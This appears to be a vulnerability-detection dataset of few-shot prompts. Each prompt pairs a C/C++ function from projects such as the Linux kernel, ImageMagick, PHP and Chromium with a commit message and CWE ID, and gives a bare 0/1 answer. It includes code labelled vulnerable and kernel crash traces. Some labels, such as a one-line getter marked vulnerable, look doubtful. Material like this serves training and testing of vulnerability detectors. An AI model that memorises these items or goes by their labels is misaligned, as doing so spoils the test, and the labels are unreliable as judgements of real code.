POLLRDNORM; return mask; } Commit Message: ALSA: timer: Harden slave timer list handling A slave timer instance might be still accessible in a racy way while operating the master instance as it lacks of locking. Since the master operation is mostly protected with timer->lock, we should cope with it while changing the slave instance, too. Also, some linked lists (active_list and ack_list) of slave instances aren't unlinked immediately at stopping or closing, and this may lead to unexpected accesses. This patch tries to address these issues. It adds spin lock of timer->lock (either from master or slave, which is equivalent) in a few places. For avoiding a deadlock, we ensure that the global slave_active_lock is always locked at first before each timer lock. Also, ack and active_list of slave instances are properly unlinked at snd_timer_stop() and snd_timer_close(). Last but not least, remove the superfluous call of _snd_timer_stop() at removing slave links. This is a noop, and calling it may confuse readers wrt locking. Further cleanup will follow in a later patch. Actually we've got reports of use-after-free by syzkaller fuzzer, and this hopefully fixes these issues. Reported-by: Dmitry Vyukov <[email protected]> Cc: <[email protected]> Signed-off-by: Takashi Iwai <[email protected]> CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: MagickExport Image *AdaptiveThresholdImage(const Image *image, const size_t width,const size_t height,const double bias, ExceptionInfo *exception) { #define AdaptiveThresholdImageTag "AdaptiveThreshold/Image" CacheView *image_view, *threshold_view; Image *threshold_image; MagickBooleanType status; MagickOffsetType progress; MagickSizeType number_pixels; ssize_t y; /* Initialize threshold image attributes. */ assert(image != (Image *) NULL); assert(image->signature == MagickCoreSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); threshold_image=CloneImage(image,0,0,MagickTrue,exception); if (threshold_image == (Image *) NULL) return((Image *) NULL); status=SetImageStorageClass(threshold_image,DirectClass,exception); if (status == MagickFalse) { threshold_image=DestroyImage(threshold_image); return((Image *) NULL); } /* Threshold image. */ status=MagickTrue; progress=0; number_pixels=(MagickSizeType) width*height; image_view=AcquireVirtualCacheView(image,exception); threshold_view=AcquireAuthenticCacheView(threshold_image,exception); #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static) shared(progress,status) \ magick_number_threads(image,threshold_image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { double channel_bias[MaxPixelChannels], channel_sum[MaxPixelChannels]; register const Quantum *magick_restrict p, *magick_restrict pixels; register Quantum *magick_restrict q; register ssize_t i, x; ssize_t center, u, v; if (status == MagickFalse) continue; p=GetCacheViewVirtualPixels(image_view,-((ssize_t) width/2L),y-(ssize_t) (height/2L),image->columns+width,height,exception); q=QueueCacheViewAuthenticPixels(threshold_view,0,y,threshold_image->columns, 1,exception); if ((p == (const Quantum *) NULL) || (q == (Quantum *) NULL)) { status=MagickFalse; continue; } center=(ssize_t) GetPixelChannels(image)*(image->columns+width)*(height/2L)+ GetPixelChannels(image)*(width/2); for (i=0; i < (ssize_t) GetPixelChannels(image); i++) { PixelChannel channel = GetPixelChannelChannel(image,i); PixelTrait traits = GetPixelChannelTraits(image,channel); PixelTrait threshold_traits=GetPixelChannelTraits(threshold_image, channel); if ((traits == UndefinedPixelTrait) || (threshold_traits == UndefinedPixelTrait)) continue; if ((threshold_traits & CopyPixelTrait) != 0) { SetPixelChannel(threshold_image,channel,p[center+i],q); continue; } pixels=p; channel_bias[channel]=0.0; channel_sum[channel]=0.0; for (v=0; v < (ssize_t) height; v++) { for (u=0; u < (ssize_t) width; u++) { if (u == (ssize_t) (width-1)) channel_bias[channel]+=pixels[i]; channel_sum[channel]+=pixels[i]; pixels+=GetPixelChannels(image); } pixels+=GetPixelChannels(image)*image->columns; } } for (x=0; x < (ssize_t) image->columns; x++) { for (i=0; i < (ssize_t) GetPixelChannels(image); i++) { double mean; PixelChannel channel = GetPixelChannelChannel(image,i); PixelTrait traits = GetPixelChannelTraits(image,channel); PixelTrait threshold_traits=GetPixelChannelTraits(threshold_image, channel); if ((traits == UndefinedPixelTrait) || (threshold_traits == UndefinedPixelTrait)) continue; if ((threshold_traits & CopyPixelTrait) != 0) { SetPixelChannel(threshold_image,channel,p[center+i],q); continue; } channel_sum[channel]-=channel_bias[channel]; channel_bias[channel]=0.0; pixels=p; for (v=0; v < (ssize_t) height; v++) { channel_bias[channel]+=pixels[i]; pixels+=(width-1)*GetPixelChannels(image); channel_sum[channel]+=pixels[i]; pixels+=GetPixelChannels(image)*(image->columns+1); } mean=(double) (channel_sum[channel]/number_pixels+bias); SetPixelChannel(threshold_image,channel,(Quantum) ((double) p[center+i] <= mean ? 0 : QuantumRange),q); } p+=GetPixelChannels(image); q+=GetPixelChannels(threshold_image); } if (SyncCacheViewAuthenticPixels(threshold_view,exception) == MagickFalse) status=MagickFalse; if (image->progress_monitor != (MagickProgressMonitor) NULL) { MagickBooleanType proceed; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp atomic #endif progress++; proceed=SetImageProgress(image,AdaptiveThresholdImageTag,progress, image->rows); if (proceed == MagickFalse) status=MagickFalse; } } threshold_image->type=image->type; threshold_view=DestroyCacheView(threshold_view); image_view=DestroyCacheView(image_view); if (status == MagickFalse) threshold_image=DestroyImage(threshold_image); return(threshold_image); } Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1608 CWE ID: CWE-125 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void inbound_data_waiting(void *context) { eager_reader_t *reader = (eager_reader_t *)context; data_buffer_t *buffer = (data_buffer_t *)reader->allocator->alloc(reader->buffer_size + sizeof(data_buffer_t)); if (!buffer) { LOG_ERROR("%s couldn't aquire memory for inbound data buffer.", __func__); return; } buffer->length = 0; buffer->offset = 0; int bytes_read = read(reader->inbound_fd, buffer->data, reader->buffer_size); if (bytes_read > 0) { buffer->length = bytes_read; fixed_queue_enqueue(reader->buffers, buffer); eventfd_write(reader->bytes_available_fd, bytes_read); } else { if (bytes_read == 0) LOG_WARN("%s fd said bytes existed, but none were found.", __func__); else LOG_WARN("%s unable to read from file descriptor: %s", __func__, strerror(errno)); reader->allocator->free(buffer); } } Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process Bug: 28885210 Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360 Conflicts: btif/co/bta_hh_co.c btif/src/btif_core.c Merge conflict resolution of ag/1161415 (referencing ag/1164670) - Directly into mnc-mr2-release CWE ID: CWE-284 Target: 1 Example 2: Code: static void tg3_phy_gather_ump_data(struct tg3 *tp, u32 *data) { u32 reg, val; val = 0; if (!tg3_readphy(tp, MII_BMCR, &reg)) val = reg << 16; if (!tg3_readphy(tp, MII_BMSR, &reg)) val |= (reg & 0xffff); *data++ = val; val = 0; if (!tg3_readphy(tp, MII_ADVERTISE, &reg)) val = reg << 16; if (!tg3_readphy(tp, MII_LPA, &reg)) val |= (reg & 0xffff); *data++ = val; val = 0; if (!(tp->phy_flags & TG3_PHYFLG_MII_SERDES)) { if (!tg3_readphy(tp, MII_CTRL1000, &reg)) val = reg << 16; if (!tg3_readphy(tp, MII_STAT1000, &reg)) val |= (reg & 0xffff); } *data++ = val; if (!tg3_readphy(tp, MII_PHYADDR, &reg)) val = reg << 16; else val = 0; *data++ = val; } Commit Message: tg3: fix length overflow in VPD firmware parsing Commit 184b89044fb6e2a74611dafa69b1dce0d98612c6 ("tg3: Use VPD fw version when present") introduced VPD parsing that contained a potential length overflow. Limit the hardware's reported firmware string length (max 255 bytes) to stay inside the driver's firmware string length (32 bytes). On overflow, truncate the formatted firmware string instead of potentially overwriting portions of the tg3 struct. http://cansecwest.com/slides/2013/PrivateCore%20CSW%202013.pdf Signed-off-by: Kees Cook <[email protected]> Reported-by: Oded Horovitz <[email protected]> Reported-by: Brad Spengler <[email protected]> Cc: [email protected] Cc: Matt Carlson <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int cmd_alias(void *data, const char *input) { int i; char *def, *q, *desc, *buf; RCore *core = (RCore *)data; if (*input == '?') { const char* help_msg[] = { "Usage:", "$alias[=cmd] [args...]", "Alias commands", "$", "", "list all defined aliases", "$*", "", "same as above, but using r2 commands", "$", "dis='af;pdf'", "create command - analyze to show function", "$", "test=#!pipe node /tmp/test.js", "create command - rlangpipe script", "$", "dis=", "undefine alias", "$", "dis", "execute the previously defined alias", "$", "dis?", "show commands aliased by 'analyze'", NULL}; r_core_cmd_help (core, help_msg); return 0; } i = strlen (input); buf = malloc (i + 2); if (!buf) { return 0; } *buf = '$'; // prefix aliases with a dash memcpy (buf + 1, input, i + 1); q = strchr (buf, ' '); def = strchr (buf, '='); desc = strchr (buf, '?'); /* create alias */ if ((def && q && (def < q)) || (def && !q)) { *def++ = 0; size_t len = strlen (def); /* Remove quotes */ if ((def[0] == '\'') && (def[len - 1] == '\'')) { def[len - 1] = 0x00; def++; } if (!q || (q && q>def)) { if (*def) r_cmd_alias_set (core->rcmd, buf, def, 0); else r_cmd_alias_del (core->rcmd, buf); } /* Show command for alias */ } else if (desc && !q) { char *v; *desc = 0; v = r_cmd_alias_get (core->rcmd, buf, 0); if (v) { r_cons_println (v); free (buf); return 1; } else { eprintf ("unknown key '%s'\n", buf); } /* Show aliases */ } else if (buf[1] == '*') { int i, count = 0; char **keys = r_cmd_alias_keys (core->rcmd, &count); for (i = 0; i < count; i++) { const char *v = r_cmd_alias_get (core->rcmd, keys[i], 0); r_cons_printf ("%s=%s\n", keys[i], v); } } else if (!buf[1]) { int i, count = 0; char **keys = r_cmd_alias_keys (core->rcmd, &count); for (i = 0; i < count; i++) { r_cons_println (keys[i]); } /* Execute alias */ } else { char *v; if (q) *q = 0; v = r_cmd_alias_get (core->rcmd, buf, 0); if (v) { if (q) { char *out, *args = q + 1; out = malloc (strlen (v) + strlen (args) + 2); if (out) { //XXX slow strcpy (out, v); strcat (out, " "); strcat (out, args); r_core_cmd0 (core, out); free (out); } else eprintf ("cannot malloc\n"); } else { r_core_cmd0 (core, v); } } else { eprintf ("unknown key '%s'\n", buf); } } free (buf); return 0; } Commit Message: Fix #7727 - undefined pointers and out of band string access fixes CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void copy_xauthority(void) { char *src = RUN_XAUTHORITY_FILE ; char *dest; if (asprintf(&dest, "%s/.Xauthority", cfg.homedir) == -1) errExit("asprintf"); if (is_link(dest)) { fprintf(stderr, "Error: %s is a symbolic link\n", dest); exit(1); } pid_t child = fork(); if (child < 0) errExit("fork"); if (child == 0) { drop_privs(0); int rv = copy_file(src, dest, getuid(), getgid(), S_IRUSR | S_IWUSR); if (rv) fprintf(stderr, "Warning: cannot transfer .Xauthority in private home directory\n"); else { fs_logger2("clone", dest); } _exit(0); } waitpid(child, NULL, 0); unlink(src); } Commit Message: replace copy_file with copy_file_as_user CWE ID: CWE-269 Target: 1 Example 2: Code: void tty_ldisc_hangup(struct tty_struct *tty) { struct tty_ldisc *ld; int reset = tty->driver->flags & TTY_DRIVER_RESET_TERMIOS; int err = 0; tty_ldisc_debug(tty, "%p: closing\n", tty->ldisc); ld = tty_ldisc_ref(tty); if (ld != NULL) { if (ld->ops->flush_buffer) ld->ops->flush_buffer(tty); tty_driver_flush_buffer(tty); if ((test_bit(TTY_DO_WRITE_WAKEUP, &tty->flags)) && ld->ops->write_wakeup) ld->ops->write_wakeup(tty); if (ld->ops->hangup) ld->ops->hangup(tty); tty_ldisc_deref(ld); } wake_up_interruptible_poll(&tty->write_wait, POLLOUT); wake_up_interruptible_poll(&tty->read_wait, POLLIN); /* * Shutdown the current line discipline, and reset it to * N_TTY if need be. * * Avoid racing set_ldisc or tty_ldisc_release */ tty_ldisc_lock(tty, MAX_SCHEDULE_TIMEOUT); if (tty->ldisc) { /* At this point we have a halted ldisc; we want to close it and reopen a new ldisc. We could defer the reopen to the next open but it means auditing a lot of other paths so this is a FIXME */ if (reset == 0) { if (!tty_ldisc_reinit(tty, tty->termios.c_line)) err = tty_ldisc_open(tty, tty->ldisc); else err = 1; } /* If the re-open fails or we reset then go to N_TTY. The N_TTY open cannot fail */ if (reset || err) { BUG_ON(tty_ldisc_reinit(tty, N_TTY)); WARN_ON(tty_ldisc_open(tty, tty->ldisc)); } } tty_ldisc_unlock(tty); if (reset) tty_reset_termios(tty); tty_ldisc_debug(tty, "%p: re-opened\n", tty->ldisc); } Commit Message: tty: Prevent ldisc drivers from re-using stale tty fields Line discipline drivers may mistakenly misuse ldisc-related fields when initializing. For example, a failure to initialize tty->receive_room in the N_GIGASET_M101 line discipline was recently found and fixed [1]. Now, the N_X25 line discipline has been discovered accessing the previous line discipline's already-freed private data [2]. Harden the ldisc interface against misuse by initializing revelant tty fields before instancing the new line discipline. [1] commit fd98e9419d8d622a4de91f76b306af6aa627aa9c Author: Tilman Schmidt <[email protected]> Date: Tue Jul 14 00:37:13 2015 +0200 isdn/gigaset: reset tty->receive_room when attaching ser_gigaset [2] Report from Sasha Levin <[email protected]> [ 634.336761] ================================================================== [ 634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0 [ 634.339558] Read of size 4 by task syzkaller_execu/8981 [ 634.340359] ============================================================================= [ 634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected ... [ 634.405018] Call Trace: [ 634.405277] dump_stack (lib/dump_stack.c:52) [ 634.405775] print_trailer (mm/slub.c:655) [ 634.406361] object_err (mm/slub.c:662) [ 634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236) [ 634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279) [ 634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1)) [ 634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447) [ 634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567) [ 634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879) [ 634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607) [ 634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613) [ 634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188) Cc: Tilman Schmidt <[email protected]> Cc: Sasha Levin <[email protected]> Signed-off-by: Peter Hurley <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]> CWE ID: CWE-200 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void OmniboxEditModel::RestoreState(const State* state) { controller_->GetToolbarModel()->set_url_replacement_enabled( !state || state->url_replacement_enabled); permanent_text_ = controller_->GetToolbarModel()->GetText(); view_->RevertWithoutResettingSearchTermReplacement(); input_ = state ? state->autocomplete_input : AutocompleteInput(); if (!state) return; SetFocusState(state->focus_state, OMNIBOX_FOCUS_CHANGE_TAB_SWITCH); focus_source_ = state->focus_source; if (state->user_input_in_progress) { keyword_ = state->keyword; is_keyword_hint_ = state->is_keyword_hint; view_->SetUserText(state->user_text, DisplayTextFromUserText(state->user_text), false); view_->SetGrayTextAutocompletion(state->gray_text); } } Commit Message: [OriginChip] Re-enable the chip as necessary when switching tabs. BUG=369500 Review URL: https://codereview.chromium.org/292493003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@271161 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-362 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)()) { char *file; int file_len; long srcx, srcy, width, height; gdImagePtr im = NULL; php_stream *stream; FILE * fp = NULL; #ifdef HAVE_GD_JPG long ignore_warning; #endif if (image_type == PHP_GDIMG_TYPE_GD2PART) { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sllll", &file, &file_len, &srcx, &srcy, &width, &height) == FAILURE) { return; } if (width < 1 || height < 1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Zero width or height not allowed"); RETURN_FALSE; } } else { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &file, &file_len) == FAILURE) { return; } } stream = php_stream_open_wrapper(file, "rb", REPORT_ERRORS|IGNORE_PATH|IGNORE_URL_WIN, NULL); if (stream == NULL) { RETURN_FALSE; } #ifndef USE_GD_IOCTX ioctx_func_p = NULL; /* don't allow sockets without IOCtx */ #endif if (image_type == PHP_GDIMG_TYPE_WEBP) { size_t buff_size; char *buff; /* needs to be malloc (persistent) - GD will free() it later */ buff_size = php_stream_copy_to_mem(stream, &buff, PHP_STREAM_COPY_ALL, 1); if (!buff_size) { php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot read image data"); goto out_err; } im = (*ioctx_func_p)(buff_size, buff); if (!im) { goto out_err; } goto register_im; } /* try and avoid allocating a FILE* if the stream is not naturally a FILE* */ if (php_stream_is(stream, PHP_STREAM_IS_STDIO)) { if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO, (void**)&fp, REPORT_ERRORS)) { goto out_err; } } else if (ioctx_func_p) { #ifdef USE_GD_IOCTX /* we can create an io context */ gdIOCtx* io_ctx; size_t buff_size; char *buff; /* needs to be malloc (persistent) - GD will free() it later */ buff_size = php_stream_copy_to_mem(stream, &buff, PHP_STREAM_COPY_ALL, 1); if (!buff_size) { php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot read image data"); goto out_err; } io_ctx = gdNewDynamicCtxEx(buff_size, buff, 0); if (!io_ctx) { pefree(buff, 1); php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot allocate GD IO context"); goto out_err; } if (image_type == PHP_GDIMG_TYPE_GD2PART) { im = (*ioctx_func_p)(io_ctx, srcx, srcy, width, height); } else { im = (*ioctx_func_p)(io_ctx); } #if HAVE_LIBGD204 io_ctx->gd_free(io_ctx); #else io_ctx->free(io_ctx); #endif pefree(buff, 1); #endif } else { /* try and force the stream to be FILE* */ if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO | PHP_STREAM_CAST_TRY_HARD, (void **) &fp, REPORT_ERRORS)) { goto out_err; } } if (!im && fp) { switch (image_type) { case PHP_GDIMG_TYPE_GD2PART: im = (*func_p)(fp, srcx, srcy, width, height); break; #if defined(HAVE_GD_XPM) && defined(HAVE_GD_BUNDLED) case PHP_GDIMG_TYPE_XPM: im = gdImageCreateFromXpm(file); break; #endif #ifdef HAVE_GD_JPG case PHP_GDIMG_TYPE_JPG: ignore_warning = INI_INT("gd.jpeg_ignore_warning"); #ifdef HAVE_GD_BUNDLED im = gdImageCreateFromJpeg(fp, ignore_warning); #else im = gdImageCreateFromJpeg(fp); #endif break; #endif default: im = (*func_p)(fp); break; } fflush(fp); } register_im: if (im) { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); php_stream_close(stream); return; } php_error_docref(NULL TSRMLS_CC, E_WARNING, "'%s' is not a valid %s file", file, tn); out_err: php_stream_close(stream); RETURN_FALSE; } Commit Message: CWE ID: CWE-254 Target: 1 Example 2: Code: GLvoid StubGLDeleteFramebuffers(GLsizei n, const GLuint* framebuffers) { glDeleteFramebuffersEXT(n, framebuffers); } Commit Message: Add chromium_code: 1 to surface.gyp and gl.gyp to pick up -Werror. It looks like this was dropped accidentally in http://codereview.chromium.org/6718027 (surface.gyp) and http://codereview.chromium.org/6722026 (gl.gyp) Remove now-redudant code that's implied by chromium_code: 1. Fix the warnings that have crept in since chromium_code: 1 was removed. BUG=none TEST=none Committed: http://src.chromium.org/viewvc/chrome?view=rev&revision=91598 Review URL: http://codereview.chromium.org/7227009 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@91813 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-189 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static size_t curl_read(char *data, size_t size, size_t nmemb, void *ctx) { php_curl *ch = (php_curl *)ctx; php_curl_read *t = ch->handlers->read; int length = 0; switch (t->method) { case PHP_CURL_DIRECT: if (t->fp) { length = fread(data, size, nmemb, t->fp); } break; case PHP_CURL_USER: { zval argv[3]; zval retval; int error; zend_fcall_info fci; ZVAL_RES(&argv[0], ch->res); Z_ADDREF(argv[0]); if (t->res) { ZVAL_RES(&argv[1], t->res); Z_ADDREF(argv[1]); } else { ZVAL_NULL(&argv[1]); } ZVAL_LONG(&argv[2], (int)size * nmemb); fci.size = sizeof(fci); fci.function_table = EG(function_table); ZVAL_COPY_VALUE(&fci.function_name, &t->func_name); fci.object = NULL; fci.retval = &retval; fci.param_count = 3; fci.params = argv; fci.no_separation = 0; fci.symbol_table = NULL; ch->in_callback = 1; error = zend_call_function(&fci, &t->fci_cache); ch->in_callback = 0; if (error == FAILURE) { php_error_docref(NULL, E_WARNING, "Cannot call the CURLOPT_READFUNCTION"); #if LIBCURL_VERSION_NUM >= 0x070c01 /* 7.12.1 */ length = CURL_READFUNC_ABORT; #endif } else if (!Z_ISUNDEF(retval)) { _php_curl_verify_handlers(ch, 1); if (Z_TYPE(retval) == IS_STRING) { length = MIN((int) (size * nmemb), Z_STRLEN(retval)); memcpy(data, Z_STRVAL(retval), length); } zval_ptr_dtor(&retval); } zval_ptr_dtor(&argv[0]); zval_ptr_dtor(&argv[1]); zval_ptr_dtor(&argv[2]); break; } } return length; } Commit Message: Fix bug #72674 - check both curl_escape and curl_unescape CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: FileMetricsProviderTest() : create_large_files_(GetParam()), task_runner_(new base::TestSimpleTaskRunner()), thread_task_runner_handle_(task_runner_), statistics_recorder_( base::StatisticsRecorder::CreateTemporaryForTesting()), prefs_(new TestingPrefServiceSimple) { EXPECT_TRUE(temp_dir_.CreateUniqueTempDir()); FileMetricsProvider::RegisterPrefs(prefs_->registry(), kMetricsName); FileMetricsProvider::SetTaskRunnerForTesting(task_runner_); base::GlobalHistogramAllocator::GetCreateHistogramResultHistogram(); } Commit Message: Remove UMA.CreatePersistentHistogram.Result This histogram isn't showing anything meaningful and the problems it could show are better observed by looking at the allocators directly. Bug: 831013 Change-Id: Ibe968597758230192e53a7675e7390e968c9e5b9 Reviewed-on: https://chromium-review.googlesource.com/1008047 Commit-Queue: Brian White <[email protected]> Reviewed-by: Alexei Svitkine <[email protected]> Cr-Commit-Position: refs/heads/master@{#549986} CWE ID: CWE-264 Target: 1 Example 2: Code: int disk_expand_part_tbl(struct gendisk *disk, int partno) { struct disk_part_tbl *old_ptbl = disk->part_tbl; struct disk_part_tbl *new_ptbl; int len = old_ptbl ? old_ptbl->len : 0; int i, target; size_t size; /* * check for int overflow, since we can get here from blkpg_ioctl() * with a user passed 'partno'. */ target = partno + 1; if (target < 0) return -EINVAL; /* disk_max_parts() is zero during initialization, ignore if so */ if (disk_max_parts(disk) && target > disk_max_parts(disk)) return -EINVAL; if (target <= len) return 0; size = sizeof(*new_ptbl) + target * sizeof(new_ptbl->part[0]); new_ptbl = kzalloc_node(size, GFP_KERNEL, disk->node_id); if (!new_ptbl) return -ENOMEM; new_ptbl->len = target; for (i = 0; i < len; i++) rcu_assign_pointer(new_ptbl->part[i], old_ptbl->part[i]); disk_replace_part_tbl(disk, new_ptbl); return 0; } Commit Message: block: fix use-after-free in seq file I got a KASAN report of use-after-free: ================================================================== BUG: KASAN: use-after-free in klist_iter_exit+0x61/0x70 at addr ffff8800b6581508 Read of size 8 by task trinity-c1/315 ============================================================================= BUG kmalloc-32 (Not tainted): kasan: bad access detected ----------------------------------------------------------------------------- Disabling lock debugging due to kernel taint INFO: Allocated in disk_seqf_start+0x66/0x110 age=144 cpu=1 pid=315 ___slab_alloc+0x4f1/0x520 __slab_alloc.isra.58+0x56/0x80 kmem_cache_alloc_trace+0x260/0x2a0 disk_seqf_start+0x66/0x110 traverse+0x176/0x860 seq_read+0x7e3/0x11a0 proc_reg_read+0xbc/0x180 do_loop_readv_writev+0x134/0x210 do_readv_writev+0x565/0x660 vfs_readv+0x67/0xa0 do_preadv+0x126/0x170 SyS_preadv+0xc/0x10 do_syscall_64+0x1a1/0x460 return_from_SYSCALL_64+0x0/0x6a INFO: Freed in disk_seqf_stop+0x42/0x50 age=160 cpu=1 pid=315 __slab_free+0x17a/0x2c0 kfree+0x20a/0x220 disk_seqf_stop+0x42/0x50 traverse+0x3b5/0x860 seq_read+0x7e3/0x11a0 proc_reg_read+0xbc/0x180 do_loop_readv_writev+0x134/0x210 do_readv_writev+0x565/0x660 vfs_readv+0x67/0xa0 do_preadv+0x126/0x170 SyS_preadv+0xc/0x10 do_syscall_64+0x1a1/0x460 return_from_SYSCALL_64+0x0/0x6a CPU: 1 PID: 315 Comm: trinity-c1 Tainted: G B 4.7.0+ #62 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 ffffea0002d96000 ffff880119b9f918 ffffffff81d6ce81 ffff88011a804480 ffff8800b6581500 ffff880119b9f948 ffffffff8146c7bd ffff88011a804480 ffffea0002d96000 ffff8800b6581500 fffffffffffffff4 ffff880119b9f970 Call Trace: [<ffffffff81d6ce81>] dump_stack+0x65/0x84 [<ffffffff8146c7bd>] print_trailer+0x10d/0x1a0 [<ffffffff814704ff>] object_err+0x2f/0x40 [<ffffffff814754d1>] kasan_report_error+0x221/0x520 [<ffffffff8147590e>] __asan_report_load8_noabort+0x3e/0x40 [<ffffffff83888161>] klist_iter_exit+0x61/0x70 [<ffffffff82404389>] class_dev_iter_exit+0x9/0x10 [<ffffffff81d2e8ea>] disk_seqf_stop+0x3a/0x50 [<ffffffff8151f812>] seq_read+0x4b2/0x11a0 [<ffffffff815f8fdc>] proc_reg_read+0xbc/0x180 [<ffffffff814b24e4>] do_loop_readv_writev+0x134/0x210 [<ffffffff814b4c45>] do_readv_writev+0x565/0x660 [<ffffffff814b8a17>] vfs_readv+0x67/0xa0 [<ffffffff814b8de6>] do_preadv+0x126/0x170 [<ffffffff814b92ec>] SyS_preadv+0xc/0x10 This problem can occur in the following situation: open() - pread() - .seq_start() - iter = kmalloc() // succeeds - seqf->private = iter - .seq_stop() - kfree(seqf->private) - pread() - .seq_start() - iter = kmalloc() // fails - .seq_stop() - class_dev_iter_exit(seqf->private) // boom! old pointer As the comment in disk_seqf_stop() says, stop is called even if start failed, so we need to reinitialise the private pointer to NULL when seq iteration stops. An alternative would be to set the private pointer to NULL when the kmalloc() in disk_seqf_start() fails. Cc: [email protected] Signed-off-by: Vegard Nossum <[email protected]> Acked-by: Tejun Heo <[email protected]> Signed-off-by: Jens Axboe <[email protected]> CWE ID: CWE-416 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: bool FrameSelection::IsHandleVisible() const { return GetSelectionInDOMTree().IsHandleVisible(); } Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate| since handle visibility is used only for setting |FrameSelection|, hence it is a redundant member variable of |SelectionTemplate|. Bug: 742093 Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e Reviewed-on: https://chromium-review.googlesource.com/595389 Commit-Queue: Yoshifumi Inoue <[email protected]> Reviewed-by: Xiaocheng Hu <[email protected]> Reviewed-by: Kent Tamura <[email protected]> Cr-Commit-Position: refs/heads/master@{#491660} CWE ID: CWE-119 Output:
1